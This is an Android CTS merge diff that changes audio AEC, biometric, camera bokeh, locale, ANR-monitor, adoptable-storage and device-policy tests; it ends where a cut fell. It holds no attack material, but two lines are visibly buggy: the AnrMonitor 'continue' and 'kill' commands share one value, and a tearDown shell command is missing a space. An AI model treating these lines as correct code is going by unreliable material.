Merge "Adding larger timeouts for some CtsDevicePolicyManagerTestCases tests"
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 5e618a1..be3dd9b 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -56,6 +56,7 @@
<uses-feature android:name="android.hardware.vr.high_performance" android:required="false"/>
<uses-feature android:name="android.software.companion_device_setup" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java
index 636dc2b..24e273c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java
@@ -16,6 +16,7 @@
package com.android.cts.verifier.audio;
+import android.content.Context;
import android.media.*;
import android.media.audiofx.AcousticEchoCanceler;
import android.os.Bundle;
@@ -61,8 +62,10 @@
private final int CORRELATION_DURATION_MS = TEST_DURATION_MS - 3000;
private final int SHOT_COUNT_CORRELATION = CORRELATION_DURATION_MS/SHOT_FREQUENCY_MS;
private final int SHOT_COUNT = TEST_DURATION_MS/SHOT_FREQUENCY_MS;
+ private final float MIN_RMS_DB = -60.0f; //dB
+ private final float MIN_RMS_VAL = (float)Math.pow(10,(MIN_RMS_DB/20));
- private final double TEST_THRESHOLD_AEC_ON = 0.4; //From SoloTester
+ private final double TEST_THRESHOLD_AEC_ON = 0.5;
private final double TEST_THRESHOLD_AEC_OFF = 0.6;
private RmsHelper mRMSRecorder1 = new RmsHelper(mBlockSizeSamples, SHOT_COUNT);
private RmsHelper mRMSRecorder2 = new RmsHelper(mBlockSizeSamples, SHOT_COUNT);
@@ -131,6 +134,9 @@
count++;
}
float rms = count > 0 ? (float)Math.sqrt(rmsTempSum / count) : 0f;
+ if (rms < MIN_RMS_VAL) {
+ rms = MIN_RMS_VAL;
+ }
double alpha = 0.9;
double total_rms = rms * alpha + mRmsCurrent * (1.0f - alpha);
@@ -162,9 +168,10 @@
DspBufferDouble crossCorr = new DspBufferDouble(actualLen);
for (int i = firstShot, index = 0; i <= lastShot; ++i, ++index) {
- double valPlayerdB = Math.max(20 * Math.log10(buffRmsPlayer.mData[i]), -120);
+ double valPlayerdB = Math.max(20 * Math.log10(buffRmsPlayer.mData[i]), MIN_RMS_DB);
rmsPlayerdB.setValue(index, valPlayerdB);
- double valRecorderdB = Math.max(20 * Math.log10(buffRmsRecorder.mData[i]), -120);
+ double valRecorderdB = Math.max(20 * Math.log10(buffRmsRecorder.mData[i]),
+ MIN_RMS_DB);
rmsRecorderdB.setValue(index, valRecorderdB);
}
@@ -288,20 +295,37 @@
return;
}
- int playbackStreamType = AudioManager.STREAM_MUSIC;
+ //Step 0. Prepare system
+ AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
+ int targetMode = AudioManager.MODE_IN_COMMUNICATION;
+ int originalMode = am.getMode();
+ am.setMode(targetMode);
+
+ if (am.getMode() != targetMode) {
+ sendMessage(AudioTestRunner.TEST_ENDED_ERROR,
+ "Couldn't set mode to MODE_IN_COMMUNICATION.");
+ return;
+ }
+
+ int playbackStreamType = AudioManager.STREAM_VOICE_CALL;
int maxLevel = getMaxLevelForStream(playbackStreamType);
int desiredLevel = maxLevel - 1;
setLevelForStream(playbackStreamType, desiredLevel);
int currentLevel = getLevelForStream(playbackStreamType);
if (currentLevel != desiredLevel) {
+ am.setMode(originalMode);
sendMessage(AudioTestRunner.TEST_ENDED_ERROR,
- "Couldn't set level for STREAM_MUSIC. Expected " +
+ "Couldn't set level for STREAM_VOICE_CALL. Expected " +
desiredLevel +" got: " + currentLevel);
return;
}
+ boolean originalSpeakerPhone = am.isSpeakerphoneOn();
+ am.setSpeakerphoneOn(true);
+
//Step 1. With AEC (on by Default when using VOICE_COMMUNICATION audio source).
+ mSPlayer.setStreamType(playbackStreamType);
mSPlayer.setSoundWithResId(getApplicationContext(), R.raw.speech);
mSRecorder.startRecording();
@@ -316,16 +340,20 @@
} catch (Exception e) {
mSRecorder.stopRecording();
String msg = "Could not create AEC Effect. " + e.toString();
- sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
recordTestResults(mMandatory, 0, 0, msg);
+ am.setSpeakerphoneOn(originalSpeakerPhone);
+ am.setMode(originalMode);
+ sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
return;
}
if (mAec == null) {
mSRecorder.stopRecording();
String msg = "Could not create AEC Effect (AEC Null)";
- sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
recordTestResults(mMandatory,0, 0, msg);
+ am.setSpeakerphoneOn(originalSpeakerPhone);
+ am.setMode(originalMode);
+ sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
return;
}
@@ -333,8 +361,10 @@
String msg = "AEC is not enabled by default.";
if (mMandatory) {
mSRecorder.stopRecording();
- sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
recordTestResults(mMandatory,0, 0, msg);
+ am.setSpeakerphoneOn(originalSpeakerPhone);
+ am.setMode(originalMode);
+ sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
return;
} else {
sb.append("Warning. " + msg + "\n");
@@ -358,9 +388,9 @@
20 * Math.log10(mRMSPlayer1.getRmsCurrent())));
}
- mSPlayer.play(false);
mRMSPlayer1.setRunning(false);
mRMSRecorder1.setRunning(false);
+ mSPlayer.play(false);
int lastShot = SHOT_COUNT - 1;
int firstShot = SHOT_COUNT - SHOT_COUNT_CORRELATION;
@@ -397,10 +427,13 @@
20 * Math.log10(mRMSPlayer2.getRmsCurrent())));
}
- mSRecorder.stopRecording();
- mSPlayer.play(false);
mRMSPlayer2.setRunning(false);
mRMSRecorder2.setRunning(false);
+ mSRecorder.stopRecording();
+ mSPlayer.play(false);
+
+ am.setSpeakerphoneOn(originalSpeakerPhone);
+ am.setMode(originalMode);
double maxNoAEC = computeAcousticCouplingFactor(mRMSPlayer2.getRmsSnapshots(),
mRMSRecorder2.getRmsSnapshots(), firstShot, lastShot);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/BiometricTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/BiometricTest.java
index 3298e84..340b09b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/BiometricTest.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/BiometricTest.java
@@ -18,8 +18,6 @@
import android.Manifest;
import android.app.AlertDialog;
-import android.app.Dialog;
-import android.app.DialogFragment;
import android.app.KeyguardManager;
import android.content.DialogInterface;
import android.content.Intent;
@@ -30,6 +28,7 @@
import android.os.CancellationSignal;
import android.os.Handler;
import android.os.Looper;
+import android.provider.Settings;
import android.text.InputType;
import android.util.Log;
import android.view.View;
@@ -54,7 +53,6 @@
public class BiometricTest extends PassFailButtons.Activity {
private static final String TAG = "BiometricTest";
- private static final String BIOMETRIC_ENROLL = "android.settings.BIOMETRIC_ENROLL";
private static final int BIOMETRIC_PERMISSION_REQUEST_CODE = 0;
// Test that BiometricPrompt setAllowDeviceCredentials returns ERROR_NO_DEVICE_CREDENTIAL when
@@ -183,7 +181,9 @@
});
mButtonEnroll.setOnClickListener((view) -> {
final Intent intent = new Intent();
- intent.setAction(BIOMETRIC_ENROLL);
+ intent.setAction(Settings.ACTION_BIOMETRIC_ENROLL);
+ intent.putExtra(Settings.EXTRA_BIOMETRIC_MINIMUM_STRENGTH_REQUIRED,
+ BiometricManager.Authenticators.BIOMETRIC_STRONG);
startActivity(intent);
});
mButtonTestCredential.setOnClickListener((view) -> {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java
index b62c2c1..fd38e98 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java
@@ -43,7 +43,7 @@
import android.hardware.camera2.CameraMetadata;
import android.hardware.camera2.CaptureRequest;
import android.hardware.camera2.CaptureResult;
-import android.hardware.camera2.params.CapabilityAndMaxSize;
+import android.hardware.camera2.params.Capability;
import android.hardware.camera2.params.StreamConfigurationMap;
import android.hardware.camera2.TotalCaptureResult;
import android.media.Image;
@@ -126,7 +126,7 @@
private CaptureRequest.Builder mStillCaptureRequestBuilder;
private CaptureRequest mStillCaptureRequest;
- private HashMap<String, ArrayList<CapabilityAndMaxSize>> mTestCases = new HashMap<>();
+ private HashMap<String, ArrayList<Capability>> mTestCases = new HashMap<>();
private int mCurrentCameraIndex = -1;
private String mCameraId;
private CameraCaptureSession mCaptureSession;
@@ -221,19 +221,16 @@
for (String id : mCameraIdList) {
CameraCharacteristics characteristics =
mCameraManager.getCameraCharacteristics(id);
- Key<CapabilityAndMaxSize[]> key =
+ Key<Capability[]> key =
CameraCharacteristics.CONTROL_AVAILABLE_BOKEH_CAPABILITIES;
- CapabilityAndMaxSize[] bokehCaps = characteristics.get(key);
+ Capability[] bokehCaps = characteristics.get(key);
if (bokehCaps == null) {
continue;
- } else if (bokehCaps.length == 1 &&
- bokehCaps[0].getMode() == CameraMetadata.CONTROL_BOKEH_MODE_OFF) {
- continue;
}
- ArrayList<CapabilityAndMaxSize> nonOffModes = new ArrayList<>();
- for (CapabilityAndMaxSize bokehCap : bokehCaps) {
+ ArrayList<Capability> nonOffModes = new ArrayList<>();
+ for (Capability bokehCap : bokehCaps) {
int mode = bokehCap.getMode();
if (mode == CameraMetadata.CONTROL_BOKEH_MODE_STILL_CAPTURE ||
mode == CameraMetadata.CONTROL_BOKEH_MODE_CONTINUOUS) {
@@ -329,8 +326,8 @@
// There is untested combination for the current camera, set the next untested combination.
mNextCombination = combination.get();
int nextMode = mNextCombination.mMode;
- ArrayList<CapabilityAndMaxSize> bokehCaps = mTestCases.get(mCameraId);
- for (CapabilityAndMaxSize cap : bokehCaps) {
+ ArrayList<Capability> bokehCaps = mTestCases.get(mCameraId);
+ for (Capability cap : bokehCaps) {
if (cap.getMode() == nextMode) {
mMaxBokehStreamingSize = cap.getMaxStreamingSize();
}
@@ -619,8 +616,8 @@
}
// Update untested entries
- ArrayList<CapabilityAndMaxSize> currentTestCase = mTestCases.get(mCameraId);
- for (CapabilityAndMaxSize bokehCap : currentTestCase) {
+ ArrayList<Capability> currentTestCase = mTestCases.get(mCameraId);
+ for (Capability bokehCap : currentTestCase) {
Size maxStreamingSize = bokehCap.getMaxStreamingSize();
Size previewSize;
if ((maxStreamingSize.getWidth() == 0 && maxStreamingSize.getHeight() == 0) ||
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MagneticFieldMeasurementTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MagneticFieldMeasurementTestActivity.java
index d98b3df..1625dd3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MagneticFieldMeasurementTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MagneticFieldMeasurementTestActivity.java
@@ -107,6 +107,8 @@
* - the values representing the expectation of the test
* - the values sampled from the sensor
*/
+// TODO: Re-enable when b/146757096 is fixed
+/*
@SuppressWarnings("unused")
public String testOffset() throws Throwable {
getTestLogger().logMessage(R.string.snsr_mag_verify_offset);
@@ -116,12 +118,13 @@
Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED,
SensorManager.SENSOR_DELAY_FASTEST);
TestSensorOperation verifyOffset =
- TestSensorOperation.createOperation(environment, 100 /* event count */);
+ TestSensorOperation.createOperation(environment, 100 /* event count );
verifyOffset.addVerification(OffsetVerification.getDefault(environment));
verifyOffset.execute(getCurrentTestNode());
return null;
}
+*/
/**
* This test verifies that the standard deviation of a set of sampled data from a particular
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/LocaleDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/LocaleDeviceInfo.java
index e7cb095..424c41e 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/LocaleDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/LocaleDeviceInfo.java
@@ -15,10 +15,12 @@
*/
package com.android.compatibility.common.deviceinfo;
+import android.icu.util.ULocale;
import com.android.compatibility.common.util.DeviceInfoStore;
import java.util.Arrays;
import java.util.List;
+import java.util.stream.Collectors;
/**
* Locale device info collector.
@@ -34,5 +36,14 @@
locales.add("en_US");
}
store.addListResult("locale", locales);
+
+ List<String> icuLocales = Arrays.stream(ULocale.getAvailableLocales())
+ .map((uLocale -> uLocale.toLanguageTag()))
+ .collect(Collectors.toList());
+ if (icuLocales.isEmpty()) {
+ // default locale
+ icuLocales.add(ULocale.US.toLanguageTag());
+ }
+ store.addListResult("icu_locale", icuLocales);
}
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/AnrMonitor.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/AnrMonitor.java
new file mode 100644
index 0000000..37c71d1
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/AnrMonitor.java
@@ -0,0 +1,155 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.app.Instrumentation;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+import android.text.TextUtils;
+import android.util.Log;
+
+import java.io.BufferedOutputStream;
+import java.io.BufferedReader;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.InputStreamReader;
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.util.ArrayList;
+
+/**
+ * A utility class interact with "am monitor"
+ */
+public final class AnrMonitor {
+ private static final String TAG = "AnrMonitor";
+ private static final String WAIT_FOR_ANR = "Waiting after early ANR... available commands:";
+
+ /**
+ * Command for the {@link #sendCommand}: continue the process
+ */
+ public static final String CMD_CONTINUE = "k";
+
+ /**
+ * Command for the {@link #sendCommand}: kill the process
+ */
+ public static final String CMD_KILL = "k";
+
+ /**
+ * Command for the {@link #sendCommand}: quit the monitor
+ */
+ public static final String CMD_QUIT = "q";
+
+ private final Instrumentation mInstrumentation;
+ private final ParcelFileDescriptor mReadFd;
+ private final FileInputStream mReadStream;
+ private final BufferedReader mReadReader;
+ private final ParcelFileDescriptor mWriteFd;
+ private final FileOutputStream mWriteStream;
+ private final PrintWriter mWritePrinter;
+ private final Thread mReaderThread;
+
+ private final ArrayList<String> mPendingLines = new ArrayList<>();
+
+ /**
+ * Construct an instance of this class.
+ */
+ public AnrMonitor(final Instrumentation instrumentation) {
+ mInstrumentation = instrumentation;
+ ParcelFileDescriptor[] pfds = instrumentation.getUiAutomation()
+ .executeShellCommandRw("am monitor");
+ mReadFd = pfds[0];
+ mReadStream = new ParcelFileDescriptor.AutoCloseInputStream(mReadFd);
+ mReadReader = new BufferedReader(new InputStreamReader(mReadStream));
+ mWriteFd = pfds[1];
+ mWriteStream = new ParcelFileDescriptor.AutoCloseOutputStream(mWriteFd);
+ mWritePrinter = new PrintWriter(new BufferedOutputStream(mWriteStream));
+ mReaderThread = new ReaderThread();
+ mReaderThread.start();
+ }
+
+ /**
+ * Wait for the ANR.
+ *
+ * @return true if it was successful, false if it got a timeout.
+ */
+ public boolean waitFor(final long timeout) {
+ final String expected = WAIT_FOR_ANR;
+ final long waitUntil = SystemClock.uptimeMillis() + timeout;
+ synchronized (mPendingLines) {
+ while (true) {
+ while (mPendingLines.size() == 0) {
+ final long now = SystemClock.uptimeMillis();
+ if (now >= waitUntil) {
+ Log.d(TAG, "Timed out waiting for next line: expected=" + expected);
+ return false;
+ }
+ try {
+ mPendingLines.wait(waitUntil - now);
+ } catch (InterruptedException e) {
+ }
+ }
+ final String line = mPendingLines.remove(0);
+ if (TextUtils.equals(line, expected)) {
+ return true;
+ }
+ }
+ }
+ }
+
+ /**
+ * Finish the monitor and close the streams.
+ */
+ public void finish() {
+ sendCommand(CMD_QUIT);
+ try {
+ mWriteStream.close();
+ } catch (IOException e) {
+ }
+ try {
+ mReadStream.close();
+ } catch (IOException e) {
+ }
+ }
+
+ /**
+ * Send the command to the interactive command.
+ *
+ * @param cmd could be {@link #CMD_KILL}, {@link #CMD_QUIT} or {@link #CMD_CONTINUE}.
+ */
+ public void sendCommand(final String cmd) {
+ mWritePrinter.println(cmd);
+ mWritePrinter.flush();
+ }
+
+ private final class ReaderThread extends Thread {
+ @Override
+ public void run() {
+ try {
+ String line;
+ while ((line = mReadReader.readLine()) != null) {
+ Log.i(TAG, "debug: " + line);
+ synchronized (mPendingLines) {
+ mPendingLines.add(line);
+ mPendingLines.notifyAll();
+ }
+ }
+ } catch (IOException e) {
+ Log.w(TAG, "Failed reading", e);
+ }
+ }
+ }
+}
diff --git a/hostsidetests/appsecurity/OWNERS b/hostsidetests/appsecurity/OWNERS
index a3b30a8..81fa0d3 100644
--- a/hostsidetests/appsecurity/OWNERS
+++ b/hostsidetests/appsecurity/OWNERS
@@ -1,6 +1,7 @@
# Bug component: 533114
toddke@google.com
per-file AccessSerialNumberTest.java = moltmann@google.com
+per-file AdoptableFeatureConsistentTest.java = jsharkey@google.com
per-file AdoptableHostTest.java = jsharkey@google.com
per-file ApexSignatureVerificationTest.java = dariofreni@google.com
per-file ApplicationVisibilityTest.java = toddke@google.com
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableFeatureConsistentTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableFeatureConsistentTest.java
new file mode 100644
index 0000000..48fddc7
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableFeatureConsistentTest.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import static android.appsecurity.cts.AdoptableHostTest.FEATURE_ADOPTABLE_STORAGE;
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Set of tests that verify behavior of adopted storage media's consistency between the feature
+ * flag and what we sniffed from the underlying fstab.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+@AppModeFull(reason = "Instant applications can only be installed on internal storage")
+public class AdoptableFeatureConsistentTest extends BaseHostJUnit4Test {
+
+ private String mHasAdoptable;
+
+ @Before
+ public void setUp() throws Exception {
+ // Caches the initial state of adoptable feature to restore after the tests
+ mHasAdoptable = getDevice().executeShellCommand("sm has-adoptable").trim();
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ // Restores the initial cache value
+ getDevice().executeShellCommand("sm set-force-adoptable" + mHasAdoptable);
+ }
+
+ @Test
+ public void testFeatureTrue() throws Exception {
+ getDevice().executeShellCommand("sm set-force-adoptable true");
+ checkConsistency();
+ }
+
+ @Test
+ public void testFeatureFalse() throws Exception {
+ getDevice().executeShellCommand("sm set-force-adoptable false");
+ checkConsistency();
+ }
+
+ private void checkConsistency() throws Exception {
+ // Reboots the device and blocks until the boot complete flag is set.
+ getDevice().rebootUntilOnline();
+ assertTrue("Device failed to boot", getDevice().waitForBootComplete(120000));
+
+ final boolean hasFeature = getDevice().hasFeature(FEATURE_ADOPTABLE_STORAGE);
+ final boolean hasFstab = Boolean.parseBoolean(getDevice()
+ .executeShellCommand("sm has-adoptable").trim());
+ if (hasFeature != hasFstab) {
+ fail("Inconsistent adoptable storage status; feature claims " + hasFeature
+ + " but fstab claims " + hasFstab);
+ }
+ }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
index f69431a..589b37f 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
@@ -23,6 +23,7 @@
import static android.appsecurity.cts.SplitTests.CLASS;
import static android.appsecurity.cts.SplitTests.PKG;
+import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
import android.platform.test.annotations.AppModeFull;
@@ -49,11 +50,20 @@
public static final String FEATURE_ADOPTABLE_STORAGE = "feature:android.software.adoptable_storage";
+ private boolean mHasAdoptableInitialState;
+
@Before
public void setUp() throws Exception {
// Start all possible users to make sure their storage is unlocked
Utils.prepareMultipleUsers(getDevice(), Integer.MAX_VALUE);
+ // TODO(b/146491109): Revert this change before shipping and find long-term solution.
+ // Caches the initial state of adoptable feature and sets it to true (if not already set)
+ mHasAdoptableInitialState = Boolean.parseBoolean(
+ getDevice().executeShellCommand("sm has-adoptable").trim());
+ if (!mHasAdoptableInitialState) {
+ setForceAdoptable();
+ }
getDevice().uninstallPackage(PKG);
// Enable a virtual disk to give us the best shot at being able to pass
@@ -71,19 +81,9 @@
if (isSupportedDevice()) {
getDevice().executeShellCommand("sm set-virtual-disk false");
}
- }
-
- /**
- * Ensure that we have consistency between the feature flag and what we
- * sniffed from the underlying fstab.
- */
- @Test
- public void testFeatureConsistent() throws Exception {
- final boolean hasFeature = hasFeature();
- final boolean hasFstab = hasFstab();
- if (hasFeature != hasFstab) {
- fail("Inconsistent adoptable storage status; feature claims " + hasFeature
- + " but fstab claims " + hasFstab);
+ // Restores the initial cache value (if it is different)
+ if (!mHasAdoptableInitialState) {
+ getDevice().executeShellCommand("sm set-force-adoptable false");
}
}
@@ -158,6 +158,18 @@
}
}
+ private void setForceAdoptable() throws Exception {
+ getDevice().executeShellCommand("sm set-force-adoptable true");
+ int attempt = 0;
+ boolean hasAdoptable = false;
+ while (!hasAdoptable && attempt++ < 5) {
+ Thread.sleep(1000);
+ hasAdoptable = Boolean.parseBoolean(getDevice()
+ .executeShellCommand("sm has-adoptable").trim());
+ }
+ assertTrue(hasAdoptable);
+ }
+
private void verifyPrimaryInternal(String diskId) throws Exception {
// Write some data to shared storage
new InstallMultiple().addApk(APK).run();
diff --git a/hostsidetests/backup/src/android/cts/backup/BackupPreparer.java b/hostsidetests/backup/src/android/cts/backup/BackupPreparer.java
index c3626f7..1f33a1a 100644
--- a/hostsidetests/backup/src/android/cts/backup/BackupPreparer.java
+++ b/hostsidetests/backup/src/android/cts/backup/BackupPreparer.java
@@ -81,6 +81,7 @@
waitForBroadcastIdle();
if (mIsBackupSupported) {
+ BackupHostSideUtils.checkSetupComplete(mDevice);
if (!isBackupActiveForSysytemUser()) {
throw new TargetSetupError("Cannot run test as backup is not active for system "
+ "user", device.getDeviceDescriptor());
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/provisioning/UserRestrictionTest.java b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/provisioning/UserRestrictionTest.java
index 95972a2..05335a1 100644
--- a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/provisioning/UserRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/provisioning/UserRestrictionTest.java
@@ -24,23 +24,6 @@
import com.android.cts.comp.AdminReceiver;
public class UserRestrictionTest extends AndroidTestCase {
-
- public void testAddDisallowAddManagedProfileRestriction() {
- setUserRestriction(UserManager.DISALLOW_ADD_MANAGED_PROFILE, true);
- }
-
- public void testClearDisallowAddManagedProfileRestriction() {
- setUserRestriction(UserManager.DISALLOW_ADD_MANAGED_PROFILE, false);
- }
-
- public void testAddDisallowRemoveManagedProfileRestriction() {
- setUserRestriction(UserManager.DISALLOW_REMOVE_MANAGED_PROFILE, true);
- }
-
- public void testClearDisallowRemoveManagedProfileRestriction() {
- setUserRestriction(UserManager.DISALLOW_REMOVE_MANAGED_PROFILE, false);
- }
-
public void testAddDisallowRemoveUserRestriction() {
setUserRestriction(UserManager.DISALLOW_REMOVE_USER, true);
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
index 0b6ce32..f42db09 100755
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
@@ -743,11 +743,8 @@
AttestedKeyPair individuallyAttestedPair = mDevicePolicyManager.generateKeyPair(
getWho(), KeyProperties.KEY_ALGORITHM_EC, specIndividualAtt,
ID_TYPE_INDIVIDUAL_ATTESTATION /* device id attestation flags */);
- assertWithMessage(
- String.format("When unique attestation is not supported, key generation "
- + "should fail."))
- .that(individuallyAttestedPair)
- .isNull();
+ fail("When unique attestation is not supported, key generation should fail.");
+ }catch (UnsupportedOperationException expected) {
} finally {
mDevicePolicyManager.removeKeyPair(getWho(), someAlias);
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
index 932943a..58a14e6 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
@@ -35,10 +35,6 @@
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
/**
* Test class that is meant to be driven from the host and can't be run alone, which is required
* for tests that include rebooting or other connection-breaking steps. For this reason, this class
@@ -46,7 +42,6 @@
* device. Therefore, the host is responsible for making sure the tests leave the device in a clean
* state after running.
*/
-@RunWith(AndroidJUnit4.class)
public class LockTaskHostDrivenTest extends BaseDeviceAdminTest {
private static final String TAG = LockTaskHostDrivenTest.class.getName();
@@ -62,7 +57,6 @@
private TelecomManager mTelcomManager;
private DevicePolicyManager mDevicePolicyManager;
- @Before
public void setUp() {
mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
mContext = InstrumentationRegistry.getContext();
@@ -72,7 +66,6 @@
mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
}
- @Test
public void startLockTask() throws Exception {
Log.d(TAG, "startLockTask on host-driven test (no cleanup)");
setLockTaskPackages(mContext.getPackageName());
@@ -81,7 +74,6 @@
mUiDevice.waitForIdle();
}
- @Test
public void cleanupLockTask() {
Log.d(TAG, "cleanupLockTask on host-driven test");
mDevicePolicyManager.clearPackagePersistentPreferredActivities(
@@ -97,7 +89,6 @@
* On low-RAM devices, this test can take too long to finish, so the test runner can incorrectly
* assume it's finished. Therefore, only use it once in a given test.
*/
- @Test
public void testLockTaskIsActiveAndCantBeInterrupted() throws Exception {
Log.d(TAG, "testLockTaskIsActiveAndCantBeInterrupted on host-driven test");
waitAndCheckLockedActivityIsResumed();
@@ -118,7 +109,6 @@
mUiDevice.waitForIdle();
}
- @Test
public void testLockTaskIsExitedIfNotWhitelisted() throws Exception {
Log.d(TAG, "testLockTaskIsExitedIfNotWhitelisted on host-driven test");
@@ -141,7 +131,6 @@
assertEquals(ActivityManager.LOCK_TASK_MODE_NONE, mActivityManager.getLockTaskModeState());
}
- @Test
public void testLockTaskCanLaunchDefaultDialer() throws Exception {
if (!hasTelephonyFeature()) {
Log.d(TAG, "testLockTaskCanLaunchDefaultDialer skipped");
@@ -178,7 +167,6 @@
mActivityManager.getLockTaskModeState());
}
- @Test
public void testLockTaskCanLaunchEmergencyDialer() throws Exception {
if (!hasTelephonyFeature()) {
Log.d(TAG, "testLockTaskCanLaunchEmergencyDialer skipped");
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskTest.java
index 37f1be3..2f9bc37 100644
